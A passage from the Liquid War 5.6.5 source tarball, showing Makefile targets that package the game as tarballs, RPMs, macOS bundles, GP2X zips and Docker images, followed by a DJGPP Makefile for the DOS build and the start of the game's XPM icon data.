--host=$(HOST) --prefix=$(prefix) @echo "Compiling." @$(GMAKE) -C $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) @echo "Cleaning up install directories." @$(GMAKE) -C $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) uninstall @echo "Installing." @$(GMAKE) -C $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) install @echo "Creating tarball." @tar cfP $(PACKAGE_TMP)/$(PACKAGE_BINARY_TAR) $(GAMEDIR)/liquidwar $(GAMEDIR)/liquidwar-server $(GAMEDIR)/liquidwar-mapgen $(BINDIR)/liquidwar $(BINDIR)/liquidwar-server $(BINDIR)/liquidwar-mapgen $(DOCDIR) $(DATADIR) $(MANDIR)/liquidwar.6.gz $(MANDIR)/liquidwar-server.6.gz $(MANDIR)/liquidwar-mapgen.6.gz $(PIXDIR)/liquidwar.xpm $(DESKTOPDIR)/liquidwar.desktop @echo "Compressing." @gzip -c -9 $(PACKAGE_TMP)/$(PACKAGE_BINARY_TAR) > $(PACKAGE_BINARY_TGZ) @echo "Cleaning up install directories." @$(GMAKE) -C $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) uninstall @echo "Deleting temporary directory." @rm -rf $(PACKAGE_TMP) package_source_rpm: $(PACKAGE_SOURCE_RPM) $(PACKAGE_SOURCE_RPM): $(PACKAGE_SOURCE_TARGZ) @echo "Checking permissions." @if [ `whoami` != root ] ; then echo "You need to be root to build $@." && exit 1 ; fi @echo "Building source rpm." @rpmbuild -ts --sign $(PACKAGE_SOURCE_TARGZ) @echo "Copying source rpm." @cp $(PACKAGE_SOURCE_RPM_TARGET)/$(PACKAGE_SOURCE_RPM) . package_binary_rpm: $(PACKAGE_BINARY_RPM) $(PACKAGE_BINARY_RPM): $(PACKAGE_SOURCE_TARGZ) @echo "Checking permissions." @if [ `whoami` != root ] ; then echo "You need to be root to build $@." && exit 1 ; fi @echo "Building binary rpm." @rpmbuild -tb --sign $(PACKAGE_SOURCE_TARGZ) @echo "Copying binary rpm." @cp $(PACKAGE_BINARY_RPM_TARGET)/$(PACKAGE_BINARY_RPM) . package_macosx_tgz: $(PACKAGE_MACOSX_TGZ) $(PACKAGE_MACOSX_TGZ): $(PACKAGE_SOURCE_TARGZ) @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP) @echo "Preparing source." @cp $(PACKAGE_SOURCE_TARGZ) $(PACKAGE_TMP) @cd $(PACKAGE_TMP) && tar xzf $(PACKAGE_SOURCE_TARGZ) @cd $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) && ./configure --disable-doc-info --host=$(HOST) --prefix=/opt @echo "Compiling." @$(GMAKE) -C $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) @echo "Creating directory structure." @install -d "$(PACKAGE_TMP)/Liquid War.app" @install -d "$(PACKAGE_TMP)/Liquid War.app/Contents" @install -d "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS" @install -d "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources" @install -d "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/data" @install -d "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/custom" @install -d "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc" @echo "Copying files." @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/src/liquidwar "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/src/liquidwar-server "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/src/liquidwar-mapgen "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/data/liquidwar.dat "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/data/" @cp -r $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/custom/map "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/custom/" @cp -r $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/custom/texture "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/custom/" @cp -r $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/custom/music "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/custom/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/misc/liquidwar.icns "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/misc/macosx_info.plist "$(PACKAGE_TMP)/Liquid War.app/Contents/Info.plist" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/COPYING "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/COPYING "$(PACKAGE_TMP)/License.txt" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/ChangeLog "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/README.md "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/README" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/README.de "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/README.dk "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/README.fr "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/README.pl "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp -r $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/doc/html $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/doc/txt $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/doc/pdf "$(PACKAGE_TMP)/Liquid War.app/Contents/Resources/doc/" @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/doc/pdf/liquidwar.pdf "$(PACKAGE_TMP)/Liquid War.pdf" @echo "Updating dynamic libraries dependencies" @if which otool; then for i in `otool -L $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/src/liquidwar | grep dylib | grep -v /usr | grep /opt | cut -d "(" -f 1` ; do j=$${i##*/}; cp $$i "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/"; chmod 644 "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/$$j"; install_name_tool -id @executable_path/$$j "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/$$j"; install_name_tool -change $$i @executable_path/$$j "$(PACKAGE_TMP)/Liquid War.app/Contents/MacOS/liquidwar"; done ; fi # yes, this is complicated, the idea is to run otool -L to find every library dependency, keep only those in /opt installed by macports or from source, then run install_name_tool to change references to a path relative to the executable path, so that it's findable within the package and does not rely on some developper's local install. One more point: we can't put libs outsite @executable_path (./MacOS) because if path is too long install_name_path won't work... See -headerpad_max_install_names option in LDFLAGS, might help too @echo "Cleaning up." @find $(PACKAGE_TMP) -name DUMMY -exec rm -f "{}" \; @find $(PACKAGE_TMP) -name "*.in" -exec rm -f "{}" \; @find $(PACKAGE_TMP) -name "*.inc" -exec rm -f "{}" \; @echo "Removing source." @rm -rf $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) @rm -f $(PACKAGE_TMP)/$(PACKAGE_SOURCE_TARGZ) @echo "Creating tarball." @cd $(PACKAGE_TMP) && tar cf $(PACKAGE_MACOSX_TAR) * @echo "Compressing." @gzip -c -9 $(PACKAGE_TMP)/$(PACKAGE_MACOSX_TAR) > $(PACKAGE_MACOSX_TGZ) @echo "Deleting temporary directory." @rm -rf $(PACKAGE_TMP) package_macosx_dmg: $(PACKAGE_MACOSX_DMG) $(PACKAGE_MACOSX_DMG): $(PACKAGE_MACOSX_TGZ) @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP) @echo "Preparing binary." @cp $(PACKAGE_MACOSX_TGZ) $(PACKAGE_TMP) @cd $(PACKAGE_TMP) && tar xzf $(PACKAGE_MACOSX_TGZ) @rm -f $(PACKAGE_TMP)/$(PACKAGE_MACOSX_TGZ) @echo "Creating disk image." @rm -f $@ && if which hdiutil ; then hdiutil create -srcfolder "$(PACKAGE_TMP)" $@ ; fi @echo "Deleting temporary directory." @rm -rf $(PACKAGE_TMP) package_gp2x: $(PACKAGE_GP2X_ZIP) $(PACKAGE_GP2X_ZIP): $(PACKAGE_SOURCE_TARGZ) @echo "Compiling dat file." @$(GMAKE) -C data @echo "Creating temporary directory." @rm -rf $(PACKAGE_TMP) @install -d $(PACKAGE_TMP) @echo "Preparing source." @cp $(PACKAGE_SOURCE_TARGZ) $(PACKAGE_TMP) @cd $(PACKAGE_TMP) && tar xzf $(PACKAGE_SOURCE_TARGZ) @echo "Compiling binary." @cd $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR) && sh -c ". /opt/open2x/bin/env-apps.sh && ./configure --prefix=/opt --build=x86_64-pc-linux-gnu --host=arm-open2x-linux && make -C src" @install -d $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR) @cp $(PACKAGE_TMP)/$(PACKAGE_SOURCE_DIR)/src/liquidwar* $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/ @cp data/liquidwar.dat $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/ @cp misc/liquidwar.gpe $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/ @cp COPYING $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/license.txt @cp ChangeLog $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/changes.txt @cp README.md $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/readme.txt @cp README.fr $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/readmefr.txt @cp README.de $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/readmede.txt @cp README.dk $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/readmedk.txt @cp README.pl $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/readmepl.txt @cp -r doc/html $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR)/doc @find $(PACKAGE_TMP)/$(PACKAGE_GP2X_DIR) -name .cvsignore -o -name CVS -o -name .arch-ids -o -name "{arch}" -o -name DUMMY -o -name "*.inc" -o -name "*.in" | xargs rm -rf @cd $(PACKAGE_TMP) && zip -r $(PACKAGE_GP2X_ZIP) $(PACKAGE_GP2X_DIR) @cp $(PACKAGE_TMP)/$(PACKAGE_GP2X_ZIP) . @rm -rf $(PACKAGE_TMP) $(PACKAGE_DOCKER_SOURCE_TARGZ): $(PACKAGE_SOURCE_TARGZ) @cp $< $@ $(PACKAGE_DOCKER_METASERVER_TARGZ): www/php/metaserver.php @cd www && rm -rf metaserver && install -d metaserver && cp php/*.php metaserver/ && cp php/favicon.ico metaserver/ && cp php/robots.txt metaserver/ && chmod 644 metaserver/* && tar --owner=root --group=staff -czf metaserver.tar.gz metaserver && rm -rf metaserver @mv -f www/metaserver.tar.gz $@ $(PACKAGE_DOCKER_TABLES_SQL): www/mysql/tables.sql cp $< $@ docker: docker-build docker-server docker-metaserver docker-build: $(PACKAGE_DOCKER_SOURCE_TARGZ) @cd $(DOCKER_DIR) && docker build -f Dockerfile-build -t ufoot/liquidwar-build:$(VERSION) . @cd $(DOCKER_DIR) && docker build -f Dockerfile-build -t ufoot/liquidwar-build:latest . docker-server: $(PACKAGE_DOCKER_SOURCE_TARGZ) @cd $(DOCKER_DIR) && docker build -f Dockerfile-server -t ufoot/liquidwar-server:$(VERSION) . @cd $(DOCKER_DIR) && docker build -f Dockerfile-server -t ufoot/liquidwar-server:latest . docker-metaserver: $(PACKAGE_DOCKER_METASERVER_TARGZ) $(PACKAGE_DOCKER_TABLES_SQL) @cd $(DOCKER_DIR) && docker build -f Dockerfile-metaserver -t ufoot/liquidwar-metaserver:$(VERSION) . @cd $(DOCKER_DIR) && docker build -f Dockerfile-metaserver -t ufoot/liquidwar-metaserver:latest . liquidwar-5.6.5/Makefile.dj0000664000372000037200000000750213407756104015201 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org # # This Makefile is used to compile the MS DOS 32-bit executable binary. # # It requires a working DJGPP http://www.delorie.com/djgpp/ install to work. # # Typical DJGPP requirements are: # v2/copying.dj # v2/djdev203.zip # v2/faq230b.zip # v2/readme.1st # v2gnu/bnu2161b.zip # v2gnu/fil41b.zip # v2gnu/gcc401b.zip # v2gnu/gdb611b.zip # v2gnu/gpp401b.zip # v2gnu/mak3791b.zip # v2gnu/sed414b.zip # v2gnu/txi48b.zip # v2gnu/txt20b.zip # # To compile Allegro for MinGW, read "./docs/build/djgpp.txt" in the # Allegro source distribution. Usually, the following sequence works: # > fix djgpp # > make # > make install # # Then to compile Liquid War: # > make -f makefile.dj > make-log.txt 2> make-err.txt # # Note that the .exe produced won't work as is, you need to put the datafile # in the right path, and a few other things, see the "package_dos" target # of the main UNIX Makefile in Liquid War source distribution. C_PATH=./src/ H_PATH=./src/ ASM_PATH=./src/ OBJ_PATH=./src/ OBJ_EXT=.dj.o OBJ_NAMES=\ about \ advanced \ alleg2 \ area \ army \ asm \ autoplay \ back \ basicopt \ bigdata \ capture \ chat \ checksum \ code \ config \ connect \ controls \ cursor \ decal \ dialog \ disk \ disp \ distor \ dnsutil \ error \ exec2 \ exit \ fighter \ game \ gfxmode \ grad \ graphics \ help \ httputil \ info \ init \ internet \ joystick \ keyboard \ keyexch \ lang \ langde \ langdk \ langen \ langfr \ langpl \ language \ level \ logcli \ lw6 \ main \ map \ maptex \ menu \ mesh \ message \ mouse \ move \ music \ mutxdos \ netconf \ netkey \ netgame \ netmap \ netmess \ netplay \ network \ options \ palette \ parser \ path \ ping \ pion \ play \ profile \ protocol \ random \ rules \ score \ serial \ sock2cli \ sockdos \ sound \ speeds \ startinf \ startup \ team \ texture \ thrddos \ ticker \ time \ viewport \ volume \ watchdog \ wave \ wwwcli \ glouglou \ monster \ spread \ ../utils/snprintf/snprintf OBJ_NAMES_MAPGEN=\ ../utils/lwmapgen/big_quad \ ../utils/lwmapgen/boxes \ ../utils/lwmapgen/bubbles \ ../utils/lwmapgen/circles \ ../utils/lwmapgen/circuit \ ../utils/lwmapgen/cut \ ../utils/lwmapgen/func \ ../utils/lwmapgen/hole \ ../utils/lwmapgen/lines \ ../utils/lwmapgen/main \ ../utils/lwmapgen/map \ ../utils/lwmapgen/map_generator \ ../utils/lwmapgen/misc \ ../utils/lwmapgen/rand_box \ ../utils/lwmapgen/rand_func \ ../utils/lwmapgen/rand_poly \ ../utils/lwmapgen/rand_poly_cut \ ../utils/lwmapgen/street \ ../utils/lwmapgen/worms OBJ_FILES=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES))) OBJ_FILES_MAPGEN=$(addprefix $(OBJ_PATH),$(addsuffix $(OBJ_EXT),$(OBJ_NAMES_MAPGEN))) C_FLAGS=-O2 -fomit-frame-pointer -Wall -I$(H_PATH) C_COMPILE=gcc -c $< -o $@ $(C_FLAGS) -DDOS -DASM -DSNPRINTF ASM_COMPILE=gcc -c $< -o $@ all: lwdos.exe lwdosmap.exe $(OBJ_PATH)%$(OBJ_EXT): $(C_PATH)%.c $(C_COMPILE) $(OBJ_PATH)%$(OBJ_EXT): $(ASM_PATH)%.s $(ASM_COMPILE) lwdos.exe: $(OBJ_FILES) gcc -o $@ $(OBJ_FILES) -lalleg lwdosmap.exe: $(OBJ_FILES_MAPGEN) gcc -o $@ $(OBJ_FILES_MAPGEN) -lalleg liquidwar-5.6.5/misc/0000775000372000037200000000000013407756104014074 5ustar travistravisliquidwar-5.6.5/misc/liquidwar.xpm0000664000372000037200000003541113407756104016627 0ustar travistravis/* XPM */ static char * liquidwar_xpm[] = { "48 48 641 2", " c None", ". c #009314", "+ c #00256C", "@ c #0000B5", "# c #0000D8", "$ c #0100F4", "% c #0000FF", "& c #0000FE", "* c #00F900", "= c #00FF00", "- c #00F800", "; c #00AD09", "> c #004B3C", ", c #000F7F", "' c #0000AE", ") c #0100DB", "! c #318A04", "~ c #00E002", "{ c #00FE00", "] c #01E400", "^ c #02980D", "/ c #023C48", "( c #010389", "_ c #0100B1", ": c #0000E3", "< c #0000FD", "[ c #962B01", "} c #2B9702", "| c #00F001", "1 c #00FD00", "2 c #00C000", "3 c #015A20", "4 c #000970", "5 c #000098", "6 c #0000C3", "7 c #0000F6", "8 c #0000FC", "9 c #F30000", "0 c #D10000", "a c #782600", "b c #1DAB00", "c c #00FA00", "d c #00CE00", "e c #005D20", "f c #00066A", "g c #000092", "h c #0000B7", "i c #0000F0", "j c #0000EC", "k c #0021C8", "l c #F90000", "m c #F10000", "n c #BF0000", "o c #711B00", "p c #1F9700", "q c #00F500", "r c #00DF02", "s c #006C2E", "t c #000874", "u c #000091", "v c #0000B2", "w c #0000DA", "x c #003E84", "y c #00C020", "z c #FE0000", "A c #F00000", "B c #AF0000", "C c #681600", "D c #1F8800", "E c #00ED00", "F c #00D901", "G c #00732E", "H c #000F77", "I c #000093", "J c #0000B3", "K c #0000ED", "L c #0100FA", "M c #0102C0", "N c #003A61", "O c #00BA14", "P c #FC0000", "Q c #FD0000", "R c #D70000", "S c #8D0000", "T c #551B00", "U c #1A8600", "V c #00E800", "W c #00C202", "X c #00612F", "Y c #000D76", "Z c #000094", "` c #0000BB", " . c #0000F3", ".. c #0201A4", "+. c #003C4C", "@. c #00B60E", "#. c #00FB00", "$. c #FB0001", "%. c #FF0000", "&. c #FB0000", "*. c #8A0000", "=. c #462900", "-. c #128E00", ";. c #00E500", ">. c #00F400", ",. c #00B406", "'. c #004541", "). c #00017F", "!. c #000097", "~. c #0000CB", "{. c #0000FB", "]. c #0100FE", "^. c #0000E6", "/. c #010096", "(. c #023A3F", "_. c #00BA0A", ":. c #00FC00", "<. c #FA0000", "[. c #EB0000", "}. c #A60100", "|. c #423C00", "1. c #089D00", "2. c #00B20B", "3. c #00344D", "4. c #000087", "5. c #0000A3", "6. c #0000DD", "7. c #000394", "8. c #004032", "9. c #02B704", "0. c #F70000", "a. c #AF0300", "b. c #394300", "c. c #02A400", "d. c #00EA00", "e. c #00B80D", "f. c #003450", "g. c #00008D", "h. c #0000B4", "i. c #0000F1", "j. c #000D8B", "k. c #004D20", "l. c #00AA00", "m. c #02EF00", "n. c #9C0500", "o. c #2A4600", "p. c #009900", "q. c #00DA00", "r. c #00AF0F", "s. c #002E57", "t. c #00009E", "u. c #0000CF", "v. c #0000F7", "w. c #0000EF", "x. c #001880", "y. c #005716", "z. c #009E00", "A. c #01E000", "B. c #E30000", "C. c #8C0700", "D. c #224600", "E. c #008900", "F. c #01C100", "G. c #00F600", "H. c #008E11", "I. c #002165", "J. c #0000C1", "K. c #0000F5", "L. c #0000CD", "M. c #001F68", "N. c #006911", "O. c #00B500", "P. c #01FE00", "Q. c #00EE01", "R. c #F80000", "S. c #CF0000", "T. c #7B0600", "U. c #1B4003", "V. c #007C01", "W. c #00B800", "X. c #00CB00", "Y. c #007118", "Z. c #001971", "`. c #0000D2", " + c #0000FA", ".+ c #0000DB", "++ c #00009C", "@+ c #002F3E", "#+ c #008B06", "$+ c #00EA01", "%+ c #00BE05", "&+ c #E40000", "*+ c #B20000", "=+ c #650A00", "-+ c #123C01", ";+ c #006F01", ">+ c #01B600", ",+ c #00F700", "'+ c #00B700", ")+ c #006421", "!+ c #001776", "~+ c #0000C2", "{+ c #0000EA", "]+ c #0000F2", "^+ c #0000C7", "/+ c #000481", "(+ c #004722", "_+ c #009B00", ":+ c #00E000", "<+ c #02FF00", "[+ c #00DE01", "}+ c #00AA04", "|+ c #00C200", "1+ c #F60001", "2+ c #D50000", "3+ c #980000", "4+ c #530E00", "5+ c #0F3E00", "6+ c #007000", "7+ c #00BD00", "8+ c #00A900", "9+ c #005B25", "0+ c #001679", "a+ c #0000B1", "b+ c #0000F8", "c+ c #0000E7", "d+ c #0000D5", "e+ c #0000D6", "f+ c #0000E4", "g+ c #0000AF", "h+ c #001A68", "i+ c #005F15", "j+ c #00DB00", "k+ c #01FF00", "l+ c #00E100", "m+ c #00AB11", "n+ c #00746A", "o+ c #F70002", "p+ c #870001", "q+ c #3F0B05", "r+ c #0B4103", "s+ c #007F00", "t+ c #00CD00", "u+ c #00EC00", "v+ c #009F00", "w+ c #004C20", "x+ c #001174", "y+ c #0000A9", "z+ c #0000EE", "A+ c #0002AA", "B+ c #000596", "C+ c #000597", "D+ c #0003B1", "E+ c #0000C9", "F+ c #003947", "G+ c #008307", "H+ c #00B900", "I+ c #029C1A", "J+ c #032BA5", "K+ c #D30000", "L+ c #7D0003", "M+ c #320B0D", "N+ c #064308", "O+ c #008A00", "P+ c #00D900", "Q+ c #00AB00", "R+ c #004B1C", "S+ c #000D60", "T+ c #0000C6", "U+ c #001682", "V+ c #003351", "W+ c #003D47", "X+ c #003854", "Y+ c #001888", "Z+ c #0000B0", "`+ c #000873", " @ c #004A27", ".@ c #00A400", "+@ c #00F000", "@@ c #03A903", "#@ c #044252", "$@ c #C50000", "%@ c #830102", "&@ c #3C1C08", "*@ c #065705", "=@ c #00E600", "-@ c #00D300", ";@ c #006A1A", ">@ c #00114F", ",@ c #000077", "'@ c #00246B", ")@ c #006024", "!@ c #007E08", "~@ c #007D07", "{@ c #007707", "]@ c #007505", "^@ c #00532D", "/@ c #001876", "(@ c #000095", "_@ c #000079", ":@ c #001547", "<@ c #00570F", "[@ c #01F200", "}@ c #00AA02", "|@ c #004937", "1@ c #000C9E", "2@ c #EE0000", "3@ c #B80000", "4@ c #890600", "5@ c #423800", "6@ c #047F00", "7@ c #00F200", "8@ c #009111", "9@ c #001944", "0@ c #00006B", "a@ c #000073", "b@ c #001959", "c@ c #00621D", "d@ c #008E00", "e@ c #009500", "f@ c #008700", "g@ c #007C00", "h@ c #006C01", "i@ c #003D2B", "j@ c #000868", "k@ c #00026C", "l@ c #003231", "m@ c #00C500", "n@ c #01E500", "o@ c #009907", "p@ c #003652", "q@ c #0001BB", "r@ c #ED0000", "s@ c #840A00", "t@ c #324800", "u@ c #00D700", "v@ c #00BC04", "w@ c #004529", "x@ c #000950", "y@ c #001B4B", "z@ c #004F1F", "A@ c #008300", "B@ c #00B300", "C@ c #00C900", "D@ c #005C03", "E@ c #001F30", "F@ c #000F51", "G@ c #004723", "H@ c #008B00", "I@ c #00D500", "J@ c #01F500", "K@ c #01CA00", "L@ c #00810C", "M@ c #002465", "N@ c #0000CC", "O@ c #F50000", "P@ c #C10000", "Q@ c #7A0A00", "R@ c #254600", "S@ c #009300", "T@ c #00D800", "U@ c #00B107", "V@ c #008014", "W@ c #007F11", "X@ c #008B01", "Y@ c #009A00", "Z@ c #00BE00", "`@ c #00E900", " # c #00F300", ".# c #00D400", "+# c #009800", "@# c #00550D", "## c #003222", "$# c #004F0F", "%# c #009100", "&# c #01A900", "*# c #006E14", "=# c #001C71", "-# c #C70000", ";# c #720800", "># c #223F00", ",# c #008D00", "'# c #00D000", ")# c #00DF00", "!# c #009E01", "~# c #006904", "{# c #007401", "]# c #019400", "^# c #00611D", "/# c #001873", "(# c #CC0000", "_# c #7C0500", ":# c #2C3200", "<# c #007600", "[# c #00BF00", "}# c #01F600", "|# c #00C800", "1# c #00EB00", "2# c #01BA00", "3# c #018A03", "4# c #00532C", "5# c #001182", "6# c #0100CE", "7# c #F20000", "8# c #C60000", "9# c #910100", "0# c #4C1800", "a# c #0A5000", "b# c #00E400", "c# c #00EF00", "d# c #00E300", "e# c #00E200", "f# c #01BD00", "g# c #00830B", "h# c #003C51", "i# c #0007BD", "j# c #D40000", "k# c #B00000", "l# c #720400", "m# c #202F00", "n# c #007800", "o# c #00D100", "p# c #00F100", "q# c #01CE00", "r# c #00AD00", "s# c #00A700", "t# c #00DE00", "u# c #02BF00", "v# c #007D10", "w# c #002A70", "x# c #0000E5", "y# c #D90000", "z# c #9B0000", "A# c #491100", "B# c #0D5600", "C# c #00C300", "D# c #0C7900", "E# c #116800", "F# c #047800", "G# c #00AE00", "H# c #02A800", "I# c #01681F", "J# c #001B89", "K# c #0000E8", "L# c #CD0000", "M# c #800000", "N# c #312900", "O# c #059700", "P# c #00E700", "Q# c #00B000", "R# c #018900", "S# c #047600", "T# c #145700", "U# c #3D2D00", "V# c #491900", "W# c #1D3D00", "X# c #017F00", "Y# c #00AC00", "Z# c #028901", "`# c #004449", " $ c #0008B2", ".$ c #F40000", "+$ c #B60000", "@$ c #630800", "#$ c #265100", "$$ c #07B800", "%$ c #00B400", "&$ c #00B100", "*$ c #056600", "=$ c #125000", "-$ c #264E00", ";$ c #3C3D00", ">$ c #4E1900", ",$ c #630100", "'$ c #670000", ")$ c #451900", "!$ c #126400", "~$ c #00A500", "{$ c #00CF00", "]$ c #01EE00", "^$ c #00A600", "/$ c #029000", "($ c #016F1D", "_$ c #002191", ":$ c #E10000", "<$ c #930000", "[$ c #5D0F00", "}$ c #3F4500", "|$ c #227000", "1$ c #0E7700", "2$ c #087A00", "3$ c #0A7500", "4$ c #175600", "5$ c #372D00", "6$ c #561600", "7$ c #6D1100", "8$ c #7B0900", "9$ c #7E0000", "0$ c #780000", "a$ c #760000", "b$ c #730700", "c$ c #443F00", "d$ c #0A8400", "e$ c #00A000", "f$ c #01BB00", "g$ c #00BC00", "h$ c #027508", "i$ c #004264", "j$ c #0008DB", "k$ c #C80000", "l$ c #920000", "m$ c #7C0000", "n$ c #721100", "o$ c #622300", "p$ c #532D00", "q$ c #582600", "r$ c #691600", "s$ c #810400", "t$ c #950000", "u$ c #900000", "v$ c #8E0000", "w$ c #8B0000", "x$ c #710B08", "y$ c #1D3E11", "z$ c #006D06", "A$ c #009000", "B$ c #007200", "C$ c #008000", "D$ c #01710C", "E$ c #00395A", "F$ c #000CC7", "G$ c #9E0000", "H$ c #970000", "I$ c #940000", "J$ c #8C0000", "K$ c #A90000", "L$ c #BB0000", "M$ c #B40000", "N$ c #B50000", "O$ c #AB0000", "P$ c #960000", "Q$ c #8C0002", "R$ c #650026", "S$ c #180D46", "T$ c #003F21", "U$ c #007100", "V$ c #006A00", "W$ c #006C00", "X$ c #00680A", "Y$ c #013B53", "Z$ c #000AB8", "`$ c #BC0000", " % c #AD0000", ".% c #DA0000", "+% c #EF0000", "@% c #D20000", "#% c #700003", "$% c #3C003A", "%% c #060072", "&% c #001160", "*% c #013636", "=% c #00551D", "-% c #005D17", ";% c #006415", ">% c #006015", ",% c #004724", "'% c #022458", ")% c #0007B6", "!% c #0100F5", "~% c #E80000", "{% c #E70000", "]% c #CE0000", "^% c #810000", "/% c #51000B", "(% c #1C004C", "_% c #0000B6", ":% c #0004B1", "<% c #00129B", "[% c #001A8D", "}% c #001F7D", "|% c #001C75", "1% c #010D8D", "2% c #0100C6", "3% c #0500F5", "4% c #A60000", "5% c #690000", "6% c #39002F", "7% c #0B0089", "8% c #0100EE", "9% c #0000D7", "0% c #0100CC", "a% c #0100E5", "b% c #0200FD", "c% c #FA0001", "d% c #F90002", "e% c #FC0001", "f% c #820000", "g% c #51001A", "h% c #1C007B", "i% c #0100D6", "j% c #0100FF", "k% c #0100F8", "l% c #F60000", "m% c #C00000", "n% c #58000B", "o% c #250063", "p% c #0300CC", "q% c #C40000", "r% c #880000", "s% c #55000C", "t% c #270048", "u% c #0400A5", "v% c #0000E9", "w% c #DD0000", "x% c #580013", "y% c #290051", "z% c #060099", "A% c #0100ED", "B% c #0100FD", "C% c #0000F9", "D% c #6E0003", "E% c #530013", "F% c #35003F", "G% c #1A007F", "H% c #0600B5", "I% c #0000D9", "J% c #0100F9", "K% c #E50000", "L% c #A80000", "M% c #5D0008", "N% c #37002F", "O% c #1F0063", "P% c #08009A", "Q% c #0000D3", "R% c #C60006", "S% c #420040", "T% c #06007C", "U% c #0200A7", "V% c #0000BC", "W% c #0000E2", "X% c #0000DF", " ", " ", " ", " . + @ # $ % % & % % & & ", " * = - ; > , ' ) & % & % & % % & & & ", " ! ~ { { = ] ^ / ( _ : % % & % & & % % % & < ", " [ } | = 1 = - 2 3 4 5 6 7 % & & & & & & % & % 8 ", " 9 0 a b c = 1 = 1 d e f g h i % & % % & & & & & % < j k ", " l m n o p q = 1 = = r s t u v j % & & & % & & % & % % w x y ", " l z A B C D E = { = 1 F G H I J K % & & & % & & & & % L M N O = ", " P Q Q R S T U V = = = q W X Y Z ` .% & & & % % % % & % j ..+.@.#.{ ", " $.%.&.0 *.=.-.;.= = = >.,.'.).!.~.{.% & & & ].& & ].% % ^./.(._.= { :. ", " <.P %.%.[.}.|.1.V = = = - 2.3.4.5.6.% % % & & % < < & & % K 7.8.9.{ { :. ", " 9 P Q z %.0.a.b.c.d.= = = 1 e.f.g.h.j % % % & & % & 